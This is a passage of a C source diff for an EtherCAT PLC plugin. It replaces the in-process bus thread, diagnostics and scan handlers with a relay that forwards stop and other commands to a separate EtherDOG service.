thread, logs final diagnostics, and closes the master. - * - * @param inst Per-master instance - */ -static void stop_single_master(ecat_master_instance_t *inst) +void stop_loop(void) { - int state = atomic_load(&inst->plugin_state); - if (state == ECAT_STATE_STOPPED || state == ECAT_STATE_IDLE) { - plugin_logger_debug(&g_logger, - "Master '%s': already stopped/idle", inst->name); + if (!g_relay_started) return; - } - - plugin_logger_info(&g_logger, - "Master '%s': Stopping (current state: %s)...", - inst->name, ecat_state_to_string(state)); - - /* Stop the bus thread first so no further SOEM exchange races with - * teardown. Signal via the running flag, then SIGUSR1 to wake any - * in-flight clock_nanosleep, then join. */ - if (atomic_load(&inst->bus_running)) { - atomic_store(&inst->bus_running, false); - pthread_kill(inst->bus_thread, SIGUSR1); - pthread_join(inst->bus_thread, NULL); - plugin_logger_debug(&g_logger, - "Master '%s': Bus thread joined", inst->name); - } - -#if ECAT_ENABLE_MONITOR_THREAD - /* Stop the monitor thread before closing the master */ - if (atomic_load(&inst->monitor_running)) { - atomic_store(&inst->monitor_running, false); - pthread_join(inst->monitor_thread, NULL); - plugin_logger_debug(&g_logger, - "Master '%s': Monitor thread joined", inst->name); - } -#endif - - /* Log final diagnostics via relaxed atomic loads. PLC may still be - * running (it stops at the next state check); cross-field tearing is - * harmless here. */ - uint64_t final_cycle_count = - atomic_load_explicit(&inst->diag.cycle_count, memory_order_relaxed); - uint64_t final_wkc_errors = - atomic_load_explicit(&inst->diag.wkc_error_count, memory_order_relaxed); - int64_t final_sum = - atomic_load_explicit(&inst->diag.avg_bus_cycle_ns_sum, memory_order_relaxed); - uint64_t final_min = - atomic_load_explicit(&inst->diag.min_bus_cycle_ns, memory_order_relaxed); - uint64_t final_max = - atomic_load_explicit(&inst->diag.max_bus_cycle_ns, memory_order_relaxed); - - if (final_cycle_count > 0 || final_wkc_errors > 0) { - uint64_t total_cycles = final_cycle_count + final_wkc_errors; - int64_t final_avg_ns = (inst->avg_window > 0) - ? final_sum / inst->avg_window - : 0; - /* min sentinel UINT64_MAX -> "n/a" */ - unsigned long long min_us = (final_min == UINT64_MAX) ? 0 - : (unsigned long long)(final_min / 1000); - plugin_logger_info(&g_logger, - "Master '%s': Final cycle stats: %llu total (%llu ok, %llu errors), " - "avg=%lld us, min=%llu us, max=%llu us", - inst->name, - (unsigned long long)total_cycles, - (unsigned long long)final_cycle_count, - (unsigned long long)final_wkc_errors, - (long long)(final_avg_ns / 1000), - min_us, - (unsigned long long)(final_max / 1000)); - } - - /* IP-stack isolation revert happens inside ecat_master_close(). */ - - memset(&inst->channel_map, 0, sizeof(inst->channel_map)); - memset(&inst->transfer_list, 0, sizeof(inst->transfer_list)); - atomic_store(&inst->consecutive_wkc_errors, 0); - atomic_store(&inst->recovery_attempts, 0); - atomic_store(&inst->recovery_writestate_failures, 0); - inst->expected_wkc = 0; - - ecat_master_close(inst, &g_logger); - atomic_store(&inst->plugin_state, ECAT_STATE_STOPPED); - - /* Reset slaves snapshot: the bus is closed, AL states from the prior - * run are no longer meaningful. Monitor is already joined. */ - pthread_mutex_lock(&inst->slaves_mutex); - memset(inst->slaves_snapshot, 0, sizeof(inst->slaves_snapshot)); - inst->slaves_snapshot_count = 0; - pthread_mutex_unlock(&inst->slaves_mutex); - - plugin_logger_info(&g_logger, - "Master '%s': [state: STOPPED] EtherCAT master stopped", inst->name); -} - -/** - * @brief Perform one EtherCAT cycle for a single master instance - * - * Called by the dedicated bus thread on every cycle. Splits the I/O - * window into two short mutex windows separated by the actual SOEM - * exchange (which is the slow part — tens to hundreds of microseconds - * for typical networks): - * - * 1. image_lock (drain journal) → copy PLC outputs into IOmap → unlock - * 2. SOEM exchange (no mutex held — IEC tasks can run during it) - * 3. publish IOmap inputs into the %I image via the lock-free journal - * 4. Update WKC + diagnostics - * - * Diag timing distinguishes two metrics: - * - `exchange_ns`: just the SOEM round-trip (wire / NIC time) - * - `total_ns`: full work window — both mutex acquisitions, both - * memcpys, AND the exchange. The difference between - * the two surfaces buffer-mutex contention with the - * IEC tasks, which is the diagnostic users want. - * - * The IOmap is owned by the plugin (this thread + monitor thread via - * `request_soem_access`) so it never crosses the PLC mutex. - * - * Returns true on a successful exchange, false on a skip (e.g. the - * monitor thread holds exclusive SOEM access right now). - */ -static bool ecat_run_one_cycle(ecat_master_instance_t *inst) -{ - int state = atomic_load(&inst->plugin_state); - /* RECOVERING is allowed: opportunistic exchange in the gaps between - * monitor recovery attempts. exchange_skips counts trylock misses. */ - if (state != ECAT_STATE_OPERATIONAL && state != ECAT_STATE_RECOVERING) - return false; - - uint8_t *iomap = ecat_master_get_iomap(inst); - if (!iomap) - return false; - -#if ECAT_ENABLE_MONITOR_THREAD - /* If the monitor thread is holding soem_lock (state check or recovery), - * yield this cycle. The bus keeps running with stale I/O data for one - * cycle. Trylock is non-blocking; in contention it costs only a futex - * read and returns immediately. */ - if (pthread_mutex_trylock(&inst->soem_lock) != 0) { - atomic_fetch_add_explicit(&inst->exchange_skips, 1, memory_order_relaxed); - return false; - } -#endif - - ec_timet t_exch_start, t_exch_end; - - /* 1. Lock briefly, snapshot outputs from PLC buffers into the IOmap. - * image_lock() drains the journal so we read freshly committed %Q. - * This is a pure memcpy — microseconds — so we don't hold the - * image-tables mutex across the SOEM exchange. */ - if (g_runtime_args.image_lock && g_runtime_args.image_unlock) { - g_runtime_args.image_lock(); - ecat_io_write_outputs_fast(&inst->transfer_list, iomap); - g_runtime_args.image_unlock(); - } else { - ecat_io_write_outputs_fast(&inst->transfer_list, iomap); - } - - /* 2. Exchange process data with slaves (synchronous, NO mutex held). - * IEC scan tasks can read/write IO during this window. */ - osal_get_monotonic_time(&t_exch_start); - int wkc = ecat_master_exchange_processdata(inst, inst->receive_timeout_us); - osal_get_monotonic_time(&t_exch_end); - - uint64_t exchange_ns = elapsed_ns(&t_exch_start, &t_exch_end); - - /* 3. Publish received inputs into the %I image through the journal. - * Journal writes are lock-free and thread-safe, so no buffer mutex is - * held here; the entries apply atomically at the next scan boundary, - * race-free against the IEC task threads. */ - ecat_io_read_inputs_fast(&inst->transfer_list, iomap, &g_runtime_args); - -#if ECAT_ENABLE_MONITOR_THREAD - pthread_mutex_unlock(&inst->soem_lock); -#endif - - inst->cycle_counter++; - - bool wkc_error = (wkc < inst->expected_wkc); - bool noframe = (wkc == EC_NOFRAME); - - /* Update diag lock-free. Single-writer (PLC) + relaxed atomics; readers - * tolerate cross-field tearing because diagnostics never do cross-field - * arithmetic. bus_cycle_ns measures the bus exchange (send+receive); the - * memcpy work in read/write_inputs_fast is dwarfed by it and intentionally - * not measured. */ - atomic_store_explicit(&inst->diag.bus_cycle_ns, exchange_ns, memory_order_relaxed); - - if (wkc_error) { - atomic_fetch_add_explicit(&inst->diag.wkc_error_count, 1, - memory_order_relaxed); - if (noframe) - atomic_fetch_add_explicit(&inst->diag.noframe_count, 1, - memory_order_relaxed); - } - - atomic_fetch_add_explicit(&inst->diag.cycle_count, 1, memory_order_relaxed); + atomic_store(&g_running, false); + pthread_join(g_relay, NULL); + g_relay_started = false; - /* Time-based EWMA: store an approximate sum of the last N samples, - * update with `sum += sample - sum/N`, recover avg as `sum/N` on - * read. N = inst->avg_window, fixed for the master's lifetime so - * the wall-clock smoothing window stays constant regardless of - * cycle rate. Sum form avoids the integer-precision stall that - * `avg += (sample - avg)/N` hits when delta < N. */ - int64_t cur_sum = atomic_load_explicit(&inst->diag.avg_bus_cycle_ns_sum, - memory_order_relaxed); - cur_sum += (int64_t)exchange_ns - cur_sum / inst->avg_window; - atomic_store_explicit(&inst->diag.avg_bus_cycle_ns_sum, cur_sum, - memory_order_relaxed); - - /* Min/max: single-writer, no CAS needed. */ - uint64_t cur = atomic_load_explicit(&inst->diag.max_bus_cycle_ns, - memory_order_relaxed); - if (exchange_ns > cur) - atomic_store_explicit(&inst->diag.max_bus_cycle_ns, exchange_ns, - memory_order_relaxed); - - cur = atomic_load_explicit(&inst->diag.min_bus_cycle_ns, - memory_order_relaxed); - if (exchange_ns < cur) - atomic_store_explicit(&inst->diag.min_bus_cycle_ns, exchange_ns, - memory_order_relaxed); - - /* WKC error tracking. No plugin_logger_* calls here -- the runtime - * logger does a synchronous mutex+socket write that would inject - * jitter in the hot path. The monitor thread observes these counters - * and emits the user-facing log messages. */ - if (wkc_error) { - int consec = atomic_fetch_add_explicit(&inst->consecutive_wkc_errors, 1, - memory_order_relaxed) + 1; -#if ECAT_ENABLE_MONITOR_THREAD - if (state == ECAT_STATE_OPERATIONAL && - consec >= ECAT_WKC_ERROR_THRESHOLD) { - atomic_store(&inst->plugin_state, ECAT_STATE_RECOVERING); - } -#else - (void)consec; -#endif - } else { - atomic_store(&inst->consecutive_wkc_errors, 0); + /* The relay's link may be down; stop the bus over a fresh connection if so. */ + if (!g_linked) { + edl_session_t session; + char err[256]; + if (edl_read_session(g_session_file, &session, err, sizeof(err)) == 0 && + edl_connect(&g_link, &session, err, sizeof(err)) == 0) + g_linked = true; } - return true; + link_down(true); + plugin_logger_info(&g_logger, "EtherCAT relay stopped"); } -/* SIGUSR1 wakes the bus thread out of clock_nanosleep so a stop request - * lands within microseconds instead of after a full sleep period. The - * handler is installed once at process init (plc_main.c handle_sigusr1) - * — DON'T re-install here, sigaction is process-wide and last-writer- - * wins between bus threads / task threads / future signal users. */ - -static inline uint64_t ts_to_ns(const struct timespec *ts) +void cleanup(void) { - return (uint64_t)ts->tv_sec * 1000000000ULL + (uint64_t)ts->tv_nsec; + stop_loop(); } /** - * @brief Bus thread body — periodic SOEM exchange driver - * - * Runs at SCHED_FIFO with the configured task_priority. Sleeps absolutely - * (CLOCK_MONOTONIC + TIMER_ABSTIME) to the next deadline so jitter stays - * bounded. Each tick: - * - clock_nanosleep TIMER_ABSTIME → wake at the absolute deadline - * - capture wake-up timing: latency vs deadline, period vs prev wake - * - run the cycle (mutex+exchange+mutex) - * - advance the deadline - * - * Two scheduling metrics surface the answers to "are we hitting our - * configured cycle time, and how late are we waking up?": - * - period_ns: actual_wake[N] - actual_wake[N-1]; should equal - * interval_ns on average on a healthy RT system. - * - latency_ns: actual_wake[N] - expected_wake[N]; how much later - * than its deadline the bus thread actually started running. - * - * Updates use the same lock-free atomic + time-based EWMA scheme as - * bus_cycle_ns (see ECAT_AVG_TARGET_WINDOW_NS). Single-writer (this - * thread); JSON readers pull the values lock-free. + * Forward a command (scan, test, status, diagnostics, list-interfaces) to EtherDOG over its + * own short connection, so callers that still route EtherCAT commands through plc_main work. */ -static void *ecat_bus_thread(void *arg) +int execute_command(const char *command_json, char *response, size_t response_size) { - ecat_master_instance_t *inst = (ecat_master_instance_t *)arg; - - /* Set thread name for top/htop debugging. */ - char tname[16]; - snprintf(tname, sizeof tname, "ecat-%s", inst->name); - pthread_setname_np(pthread_self(), tname); - - /* Apply SCHED_FIFO at the configured priority. Fall back to the - * default scheduler with a warning rather than refusing to run. */ - int prio = inst->config.master.task_priority; - if (prio < 1) prio = 1; - if (prio > 99) prio = 99; - struct sched_param sp = {0}; - sp.sched_priority = prio; - if (pthread_setschedparam(pthread_self(), SCHED_FIFO, &sp) != 0) { - plugin_logger_warn(&g_logger, - "Bus thread '%s': SCHED_FIFO(%d) failed: %s — running with default scheduling", - inst->name, prio, strerror(errno)); - } else { - plugin_logger_info(&g_logger, - "Bus thread '%s': SCHED_FIFO priority %d", inst->name, prio); - } - - /* SIGUSR1 handler is process-wide; installed once at plc_main.c. - * No per-thread sigaction here. SIGUSR1 stays unblocked for this - * thread by default (pthread_create inherits the parent's mask, and - * the process-wide mask doesn't include SIGUSR1). */ - - int64_t interval_ns = - (int64_t)inst->config.master.cycle_time_us * 1000LL; - if (interval_ns <= 0) interval_ns = 1000000LL; /* 1 ms safety floor */ - - /* Seed scheduling-stat min trackers. */ - atomic_store_explicit(&inst->diag.min_period_ns, UINT64_MAX, memory_order_relaxed); - atomic_store_explicit(&inst->diag.min_latency_ns, INT64_MAX, memory_order_relaxed); - - struct timespec next_wakeup; - clock_gettime(CLOCK_MONOTONIC, &next_wakeup); - - bool have_prev_wake = false; - uint64_t prev_wake_ns = 0; - - while (atomic_load(&inst->bus_running)) { - /* Capture actual wake-up time. The first iteration's deadline - * is "now" so latency should be ~0; meaningful from iteration 2. */ - struct timespec actual_wake; - clock_gettime(CLOCK_MONOTONIC, &actual_wake); - uint64_t actual_wake_ns = ts_to_ns(&actual_wake); - uint64_t expected_ns = ts_to_ns(&next_wakeup); - - /* Latency = how much later than the deadline we woke up. Can - * theoretically be slightly negative if clock skew or coarse - * timer granularity puts us a fraction ahead. Subtract in the - * signed domain so an early wake yields a small negative value - * rather than relying on impl-defined unsigned→signed conversion. */ - int64_t latency_ns = (int64_t)actual_wake_ns - (int64_t)expected_ns; - atomic_store_explicit(&inst->diag.latency_ns, latency_ns, memory_order_relaxed); - - int64_t cur_lat_min = atomic_load_explicit(&inst->diag.min_latency_ns, - memory_order_relaxed); - if (latency_ns < cur_lat_min) - atomic_store_explicit(&inst->diag.min_latency_ns, latency_ns, - memory_order_relaxed); - int64_t cur_lat_max = atomic_load_explicit(&inst->diag.max_latency_ns, - memory_order_relaxed); - if (latency_ns > cur_lat_max) - atomic_store_explicit(&inst->diag.max_latency_ns, latency_ns, - memory_order_relaxed); - - /* Time-based EWMA — same scheme as avg_bus_cycle_ns_sum. */ - int64_t cur_lat_sum = atomic_load_explicit(&inst->diag.avg_latency_ns_sum, - memory_order_relaxed); - cur_lat_sum += latency_ns - cur_lat_sum / inst->avg_window; - atomic_store_explicit(&inst->diag.avg_latency_ns_sum, cur_lat_sum, - memory_order_relaxed); - - if (have_prev_wake) { - uint64_t period_ns = actual_wake_ns - prev_wake_ns; - atomic_store_explicit(&inst->diag.period_ns, period_ns, - memory_order_relaxed); - - uint64_t cur_per_min = atomic_load_explicit(&inst->diag.min_period_ns, - memory_order_relaxed); - if (period_ns < cur_per_min) - atomic_store_explicit(&inst->diag.min_period_ns, period_ns, - memory_order_relaxed); - uint64_t cur_per_max = atomic_load_explicit(&inst->diag.max_period_ns, - memory_order_relaxed); - if (period_ns > cur_per_max) - atomic_store_explicit(&inst->diag.max_period_ns, period_ns, - memory_order_relaxed); - - int64_t cur_per_sum = atomic_load_explicit(&inst->diag.avg_period_ns_sum, - memory_order_relaxed); - cur_per_sum += (int64_t)period_ns - cur_per_sum / inst->avg_window; - atomic_store_explicit(&inst->diag.avg_period_ns_sum, cur_per_sum, - memory_order_relaxed); - } - prev_wake_ns = actual_wake_ns; - have_prev_wake = true; - - /* Bus exchange + diag updates happen inside ecat_run_one_cycle. */ - ecat_run_one_cycle(inst); - - next_wakeup.tv_nsec += (long)(interval_ns % 1000000000LL); - next_wakeup.tv_sec += (time_t)(interval_ns / 1000000000LL); - if (next_wakeup.tv_nsec >= 1000000000L) { - next_wakeup.tv_nsec -= 1000000000L; - next_wakeup.tv_sec += 1; - } - int rc = clock_nanosleep(CLOCK_MONOTONIC, TIMER_ABSTIME, &next_wakeup, NULL); - if (rc == EINTR) continue; /* SIGUSR1 wake — loop will re-check bus_running */ + edl_session_t session; + edl_link_t link; + char err[512]; + edl_init(&link); + if (edl_read_session(g_session_file, &session, err, sizeof(err)) != 0 || + edl_connect(&link, &session, err, sizeof(err)) != 0) { + cJSON *resp = cJSON_CreateObject(); + cJSON_AddStringToObject(resp, "error", err); + char *text = cJSON_PrintUnformatted(resp); + snprintf(response, response_size, "%s", text ? text : "{\"error\":\"EtherDOG unavailable\"}"); + free(text); + cJSON_Delete(resp); + return -1; } - - plugin_logger_info(&g_logger, - "Bus thread '%s': stopped after %llu cycles", - inst->name, - (unsigned long long)atomic_load_explicit(&inst->diag.cycle_count, - memory_order_relaxed)); - return NULL; -} - -/* - * ============================================================================= - * Plugin Lifecycle Functions - * ============================================================================= - */ - -/** - * @brief Initialize the EtherCAT plugin - */ -int init(void *args) -{ - /* Initialize logger first (before we have runtime_args) */ - plugin_logger_init(&g_logger, "ETHERCAT", NULL); - plugin_logger_info(&g_logger, "Initializing EtherCAT plugin..."); - - if (!args) { - plugin_logger_error(&g_logger, "init args is NULL"); + int rc = edl_call(&link, command_json, response, response_size, 30000); + edl_close(&link); + if (rc != 0) { + snprintf(response, response_size, "{\"error\":\"no reply from EtherDOG\"}"); return -1; } - - /* Copy runtime args (critical - pointer is freed after init returns) */ - memcpy(&g_runtime_args, args, sizeof(plugin_runtime_args_t)); - - /* Re-initialize logger with runtime_args for central logging */ - plugin_logger_init(&g_logger, "ETHERCAT", args); - - /* Share the logger with the config parser so its diagnostic messages - * land in the runtime journal instead of stderr. */ - ecat_config_set_logger(&g_logger); - - plugin_logger_info(&g_logger, "Buffer size: %d", g_runtime_args.buffer_size); - - /* Parse ALL master configurations from the JSON file */ - const char *config_path = g_runtime_args.plugin_specific_config_file_path; - - /* Allocate temporary array for parsing (up to ECAT_MAX_MASTERS) */ - ecat_master_instance_t *temp = calloc(ECAT_MAX_MASTERS, sizeof(ecat_master_instance_t)); - if (!temp) { - plugin_logger_error(&g_logger, "Failed to allocate master instances"); - return -1; - } - - int count = 0; - if (config_path != NULL && config_path[0] != '\0') { - plugin_logger_info(&g_logger, "Loading config: %s", config_path); - int result = ecat_config_parse_all(config_path, temp, ECAT_MAX_MASTERS, &count); - if (result != ECAT_CONFIG_OK || count == 0) { - plugin_logger_warn(&g_logger, - "No valid EtherCAT configs found (result=%d, count=%d), using defaults", - result, count); - ecat_config_init_defaults(&temp[0].config); - safe_strcpy_local(temp[0].name, "default", sizeof(temp[0].name)); - count = 1; - } else { - plugin_logger_info(&g_logger, - "Configuration loaded: %d master(s) found", count); - } - } else { - plugin_logger_warn(&g_logger, "No config file specified, using defaults"); - ecat_config_init_defaults(&temp[0].config); - safe_strcpy_local(temp[0].name, "default", sizeof(temp[0].name)); - count = 1; - } - - /* Store the master instances */ - g_masters = temp; - g_master_count = count; - - /* Initialize per-master runtime state */ - for (int i = 0; i < g_master_count; i++) { - ecat_master_instance_t *inst = &g_masters[i]; - - memset(inst->slaves_snapshot, 0, sizeof(inst->slaves_snapshot)); - inst->slaves_snapshot_count = 0; - diag_reset(&inst->diag); - if (ecat_mutex_init_pi(&inst->slaves_mutex) != 0) { - plugin_logger_error(&g_logger, - "Master[%d] '%s': Failed to initialize slaves mutex", i, inst->name); - /* Destroy mutexes that were already initialized */ - for (int j = 0; j < i; j++) { - pthread_mutex_destroy(&g_masters[j].slaves_mutex); -#if ECAT_ENABLE_MONITOR_THREAD - pthread_mutex_destroy(&g_masters[j].soem_lock); -#endif - } - free(g_masters); - g_masters = NULL; - g_master_count = 0; - return -1; - } -#if ECAT_ENABLE_MONITOR_THREAD - if (ecat_mutex_init_pi(&inst->soem_lock) != 0) { - plugin_logger_error(&g_logger, - "Master[%d] '%s': Failed to initialize SOEM lock", i, inst->name); - pthread_mutex_destroy(&inst->slaves_mutex); - for (int j = 0; j < i; j++) { - pthread_mutex_destroy(&g_masters[j].slaves_mutex); - pthread_mutex_destroy(&g_masters[j].soem_lock); - } - free(g_masters); - g_masters = NULL; - g_master_count = 0; - return -1; - } -#endif - - /* Bus timing is now driven by the dedicated bus thread spawned - * in start_single_master, ticking absolutely at - * master.cycle_time_us under SCHED_FIFO. The legacy - * tick_divisor / IEC-task-anchored model is gone. */ - - atomic_store(&inst->plugin_state, ECAT_STATE_IDLE); - - plugin_logger_info(&g_logger, - "Master[%d] '%s': interface=%s, cycle_time=%d us, slaves=%d", - i, inst->name, inst->config.master.interface, - inst->config.master.cycle_time_us, inst->config.slave_count); - } - - plugin_logger_info(&g_logger, - "EtherCAT plugin initialized [%d master(s), state: IDLE]", g_master_count); - - return 0; -} - -/* - * ============================================================================= - * IEC Address Overlap Detection (multi-master) - * ============================================================================= - */ - -/** - * @brief Compute the byte range [start, end) occupied by a channel map entry - */ -static void entry_byte_range(const ecat_channel_map_entry_t *e, - int *start, int *end) -{ - *start = e->byte_index; - switch (e->size) { - case IEC_SIZE_BIT: *end = e->byte_index + 1; break; - case IEC_SIZE_BYTE: *end = e->byte_index + 1; break; - case IEC_SIZE_WORD: *end = e->byte_index + 2; break; - case IEC_SIZE_DWORD: *end = e->byte_index + 4; break; - case IEC_SIZE_LWORD: *end = e->byte_index + 8; break; - default: *end = e->byte_index + 1; break; - } -} - -/** - * @brief Check if two channel map entries overlap in the PLC buffer - * - * For bit-sized entries at the same byte, also checks bit_index equality. - */ -static bool entries_overlap(const ecat_channel_map_entry_t *a, - const ecat_channel_map_entry_t *b) -{ - int a_start, a_end, b_start, b_end; - entry_byte_range(a, &a_start, &a_end); - entry_byte_range(b, &b_start, &b_end); - - if (a_end <= b_start || b_end <= a_start) - return false; - - if (a->size == IEC_SIZE_BIT && b->size == IEC_SIZE_BIT - && a->byte_index == b->byte_index) { - return a->bit_index == b->bit_index; - } - - return true; -} - -/** - * @brief Log warnings for IEC addresses mapped by more than one master - * - * Called after all masters have built their channel maps. Checks both - * input and output directions. Purely informational -- does not abort. - */ -static void warn_address_overlap(void) -{ - if (g_master_count < 2) - return; - - int conflicts = 0; - - for (int i = 0; i < g_master_count; i++) { - for (int j = i + 1; j < g_master_count; j++) { - /* Check inputs */ - for (int ai = 0; ai < g_masters[i].channel_map.input_count; ai++) { - for (int bj = 0; bj < g_masters[j].channel_map.input_count; bj++) { - if (entries_overlap(&g_masters[i].channel_map.inputs[ai], - &g_masters[j].channel_map.inputs[bj])) { - const ecat_channel_map_entry_t *a = - &g_masters[i].channel_map.inputs[ai]; - plugin_logger_warn(&g_logger, - "IEC address overlap: %%I*%d.%d mapped by both " - "master '%s' and master '%s'", - a->byte_index, - a->bit_index >= 0 ? a->bit_index : 0, - g_masters[i].name, g_masters[j].name); - conflicts++; - } - } - } - /* Check outputs */ - for (int ai = 0; ai < g_masters[i].channel_map.output_count; ai++) { - for (int bj = 0; bj < g_masters[j].channel_map.output_count; bj++) { - if (entries_overlap(&g_masters[i].channel_map.outputs[ai], - &g_masters[j].channel_map.outputs[bj])) { - const ecat_channel_map_entry_t *a = - &g_masters[i].channel_map.outputs[ai]; - plugin_logger_warn(&g_logger, - "IEC address overlap: %%Q*%d.%d mapped by both " - "master '%s' and master '%s'", - a->byte_index, - a->bit_index >= 0 ? a->bit_index : 0, - g_masters[i].name, g_masters[j].name); - conflicts++; - } - } - } - } - } - - if (conflicts > 0) { - plugin_logger_warn(&g_logger, - "%d IEC address overlap(s) detected between masters. " - "The last master in cycle order will overwrite shared addresses.", - conflicts); - } -} - -/** - * @brief Start all EtherCAT masters - * - * Iterates each configured master instance and runs through the startup - * sequence. Returns success if at least one master reaches OPERATIONAL. - */ -int start_loop(void) -{ - int any_started = 0; - - for (int i = 0; i < g_master_count; i++) { - ecat_master_instance_t *inst = &g_masters[i]; - - int state = atomic_load(&inst->plugin_state); - if (state != ECAT_STATE_IDLE && state != ECAT_STATE_STOPPED) { - plugin_logger_error(&g_logger, - "Master '%s': Cannot start - invalid state: %s", - inst->name, ecat_state_to_string(state)); - continue; - } - - if (start_single_master(inst) == 0) { - any_started++; - } - } - - if (any_started == 0) { - plugin_logger_error(&g_logger, - "No EtherCAT masters started successfully"); - return -1; - } - - warn_address_overlap(); - - plugin_logger_info(&g_logger, "%d/%d EtherCAT master(s) started", - any_started, g_master_count); - return 0; -} - -/** - * @brief Stop all EtherCAT masters - */ -void stop_loop(void) -{ - plugin_logger_info(&g_logger, "Stopping all EtherCAT masters..."); - - for (int i = 0; i < g_master_count; i++) { - stop_single_master(&g_masters[i]); - } - - plugin_logger_info(&g_logger, "All EtherCAT masters stopped"); -} - -/** - * @brief Cleanup plugin resources - */ -void cleanup(void) -{ - plugin_logger_info(&g_logger, "Cleaning up EtherCAT plugin..."); - - for (int i = 0; i < g_master_count; i++) { - ecat_master_instance_t *inst = &g_masters[i]; - int state = atomic_load(&inst->plugin_state); - if (state != ECAT_STATE_STOPPED && state != ECAT_STATE_IDLE) { - stop_single_master(inst); - } - pthread_mutex_destroy(&inst->slaves_mutex); -#if ECAT_ENABLE_MONITOR_THREAD - pthread_mutex_destroy(&inst->soem_lock); -#endif - } - - free(g_masters); - g_masters = NULL; - g_master_count = 0; - - plugin_logger_info(&g_logger, "EtherCAT plugin cleanup complete"); -} - -/* Note: the legacy `cycle_start` / `cycle_end` plugin entry points - * have been removed. Bus timing is now owned by the per-master - * `ecat_bus_thread`, ticking absolutely at master.cycle_time_us under - * SCHED_FIFO. The plugin driver loads the .so via dlsym and tolerates - * missing cycle hooks (logged as "(optional)" at startup), so dropping - * the symbols is a no-op for the loader. */ - -/* - * ============================================================================= - * Async Command Handling (execute_command) - * ============================================================================= - */ - -/** - * @brief Validate a network interface name for safe use in SOEM calls. - * - * Accepts Linux names (e.g. "eth0") and Windows NPF device paths - * (e.g. "\\Device\\NPF_{GUID}"). Writes a JSON error to @p response - * on failure. - * - * @return 0 if valid, -1 if invalid (response already filled) - */ -static int validate_interface_name(const char *ifname, char *response, size_t response_size) -{ - size_t ifname_len = strlen(ifname); - if (ifname_len == 0 || ifname_len >= ECAT_IFNAME_MAX) { - snprintf(response, response_size, "{\"error\":\"invalid interface name length\"}"); - return -1; - } - if (!ecat_iface_validate(ifname, ECAT_IFACE_ANY_PLATFORM)) { - snprintf(response, response_size, "{\"error\":\"invalid interface name format\"}"); - return -1; - } - return 0; -} - -/** - * @brief Check if any master is actively running on the bus - * - * Used by scan/test commands to refuse operation while masters are active. - */ -static bool any_master_active(void) -{ - for (int i = 0; i < g_master_count; i++) { - int state = atomic_load(&g_masters[i].plugin_state); - if (state == ECAT_STATE_OPERATIONAL || state == ECAT_STATE_RECOVERING || - state == ECAT_STATE_TRANSITIONING) { - return true; - } - } - return false; -} - -/** - * @brief Handle the "scan" command using a temporary SOEM context - * - * Creates a separate ecx_contextt (not the master's context) to scan - * the bus for slaves. This allows scanning even when the master is not running. - */ -static int handle_scan_command(cJSON *root, char *response, size_t response_size) -{ - cJSON *params = cJSON_GetObjectItemCaseSensitive(root, "params"); - cJSON *iface = params ? cJSON_GetObjectItemCaseSensitive(params, "interface") : NULL; - - if (!iface || !cJSON_IsString(iface)) { - snprintf(response, response_size, "{\"error\":\"missing 'interface' param\"}"); - return -1; - } - - if (validate_interface_name(iface->valuestring, response, response_size) != 0) - return -1; - - /* Refuse scan while any master is actively running on the bus */ - if (any_master_active()) { - snprintf(response, response_size, - "{\"error\":\"EtherCAT master is running. Stop the PLC before scanning.\"}"); - return -1; - } - - /* Temporary SOEM context for scan (independent from master contexts) */ - ecx_contextt scan_ctx; - memset(&scan_ctx, 0, sizeof(scan_ctx)); - - if (!ecx_init(&scan_ctx, iface->valuestring)) { - snprintf(response, response_size, - "{\"error\":\"Failed to open interface '%s'\"}", iface->valuestring); - return -1; - } - - int slave_count = ecx_config_init(&scan_ctx); - if (slave_count <= 0) { - ecx_close(&scan_ctx); - snprintf(response, response_size, - "{\"status\":\"success\",\"devices\":[],\"message\":\"No slaves found\",\"slave_count\":0}"); - return 0; - } - - /* Build JSON response with discovered slaves */ - cJSON *resp = cJSON_CreateObject(); - cJSON_AddStringToObject(resp, "status", "success"); - cJSON *devices = cJSON_AddArrayToObject(resp, "devices"); - - for (int i = 1; i <= scan_ctx.slavecount; i++) { - ec_slavet *s = &scan_ctx.slavelist[i]; - cJSON *dev = cJSON_CreateObject(); - cJSON_AddNumberToObject(dev, "position", i); - cJSON_AddStringToObject(dev, "name", s->name); - cJSON_AddNumberToObject(dev, "vendor_id", s->eep_man); - cJSON_AddNumberToObject(dev, "product_code", s->eep_id); - cJSON_AddNumberToObject(dev, "revision", s->eep_rev); - cJSON_AddNumberToObject(dev, "serial_number", s->eep_ser); - cJSON_AddStringToObject(dev, "state", "UNKNOWN"); - cJSON_AddNumberToObject(dev, "al_status_code", 0); - cJSON_AddBoolToObject(dev, "has_coe", (s->mbx_proto & 0x04) != 0); - cJSON_AddNumberToObject(dev, "input_bytes", 0); - cJSON_AddNumberToObject(dev, "output_bytes", 0); - cJSON_AddItemToArray(devices, dev); - } - - char msg[128]; - snprintf(msg, sizeof(msg), "Found %d EtherCAT slave(s)", scan_ctx.slavecount); - cJSON_AddStringToObject(resp, "message", msg); - cJSON_AddNumberToObject(resp, "slave_count", scan_ctx.slavecount); - - char *json_str = cJSON_PrintUnformatted(resp); - if (json_str) { - snprintf(response, response_size, "%s", json_str); - free(json_str); - } - cJSON_Delete(resp); - - ecx_close(&scan_ctx); - return 0; -} - -/** - * @brief Handle the "list-interfaces" command - * - * Uses ec_find_adapters() from SOEM to enumerate network adapters. - * Does not require a SOEM context or bus access. - */ -static int handle_list_interfaces_command(char *response, size_t response_size) -{ - ec_adaptert *adapters = ec_find_adapters(); - - cJSON *resp = cJSON_CreateObject(); - cJSON_AddStringToObject(resp, "status", "success"); - cJSON *ifaces = cJSON_AddArrayToObject(resp, "interfaces"); - - int count = 0; - for (ec_adaptert *a = adapters; a != NULL; a = a->next) { - cJSON *entry = cJSON_CreateObject(); - cJSON_AddStringToObject(entry, "name", a->name); - cJSON_AddStringToObject(entry, "description", a->desc); - cJSON_AddItemToArray(ifaces, entry); - count++; - } - - char msg[64]; - snprintf(msg, sizeof(msg), "Found %d network interface(s)", count); - cJSON_AddStringToObject(resp, "message", msg); - - char *json_str = cJSON_PrintUnformatted(resp); - if (json_str) { - snprintf(response, response_size, "%s", json_str); - free(json_str); - } - cJSON_Delete(resp); - ec_free_adapters(adapters); - - return 0; -} - -/** - * @brief Handle the "test" command using a temporary SOEM context - * - * Creates a separate ecx_contextt to scan the bus and return info about - * the slave at the requested position. Used by the Editor to test - * connectivity to a specific device. - */ -static int handle_test_command(cJSON *root, char *response, size_t response_size) -{ - cJSON *params = cJSON_GetObjectItemCaseSensitive(root, "params"); - cJSON *iface = params ? 